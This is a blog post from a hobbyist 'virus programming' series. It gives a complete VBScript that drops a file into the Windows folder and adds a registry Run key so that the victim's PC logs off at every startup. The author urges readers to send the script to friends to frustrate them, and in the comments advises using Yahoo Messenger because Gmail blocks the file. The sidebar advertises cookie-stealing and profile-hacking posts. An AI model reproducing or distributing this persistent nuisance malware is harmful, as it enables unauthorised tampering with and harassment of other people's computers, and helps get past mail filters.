Recent Articles
Create Virus to Log Off Windows every time at Start up
Monday, August 2, 2010|
Surbhi Verma
From today i m starting a new section here on my site, which will help you to learn about virus programming and also you can make small viruses on your PC just using notepad.... :)
This first post of virus programming will tell you about... how you can make a virus that will shutdown a PC Automatically at Startup. Every time when a victim will restart his PC, it will be shutdown.
Ok, just open the notepad and type the paste the following code:
code:
set ws=createobject("wscript.shell")
dim strDir,strfile,st,strtxt2,strshell,strlog
dim obfso,obfolder,obshell,obfile,obtxtfile
strshell="wscript.shell"
strDir="C:\WINDOWS"
strfile="\wscript.vbs"
st=Chr(34)
strlog="shutdown -l"
strtxt2="ws.run(strlog)"
set obfso=CreateObject("Scripting.FileSystemObject")
on error resume next
set obfile=obfso.CreateTextfile(strDir & strfile)
obfile.writeline("set ws=createobject("&st&strshell&st&")")
obfile.writeline("ws.run("&st&strlog&st&")")
ws.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Logoff","C:\WINDOWS\wscript. vbs","REG_SZ”
Now save this notepad file with any name having .vbs extension....
Now send it to ur friend.... and Frustrate your friend by shutting down his computer automatically on startup ;)
How to get rid of this virus:
for that just boot ur system in safe mode and then go to directory c:\ windows.... find out wscript.vbs file there.... and delete it :)
Posted in
Virus Programming
3 comments for this post
Leave a reply
Subscribe to:
Post Comments (Atom)
TechByte4U on Facebook
Popular Posts
Free winrar, Full version Winrar, Winrar Serial key I guess everyone know what is Winrar, and what it works. So without going into t...
Hello Friends, Before some days i was wondering that How a small java script hacks a complete Orkut profile..... But finally i come...
Hello Guys, Here is the step by step procedure to Apply an image as background of any drive say C:, D:........ Step 1: O...
In last part i have explained the basics of cookie stealing, and happy to know that many of you are really excited to get the secon...
Hello Friends, These days on orkut you will find very frequently written these lines on many Orkut Profiles or in many communi...
In this Tutorial i m giving detail description about a firefox Addon Flash and video Download about which i have also told in my last...
Hi Friends.... Do you know...you can use keyboard instead of mouse to operate your system... Many of you will say...yes, we ca...
Hello Everyone, Here is gud news for all users of TuneUp Utilities.. TuneUp Utilities is providing you a promotional offer for it...
Hey Friends, Many Times we desires to know a method by which we can copy multiple texts at first moment and then paste all the c...
Hi friends, Every person want to earn money... and here on internet there are millions of site which says that You can make mone...
Nitasha
September 19, 2010 at 12:20 PM
gud hmmm !!!
Unknown
April 2, 2012 at 4:37 PM
but gmail do not accept this file
Surbhi Verma
April 3, 2012 at 11:22 AM
yes, gmail does not accept virus files, try to send it through yahoo messenger.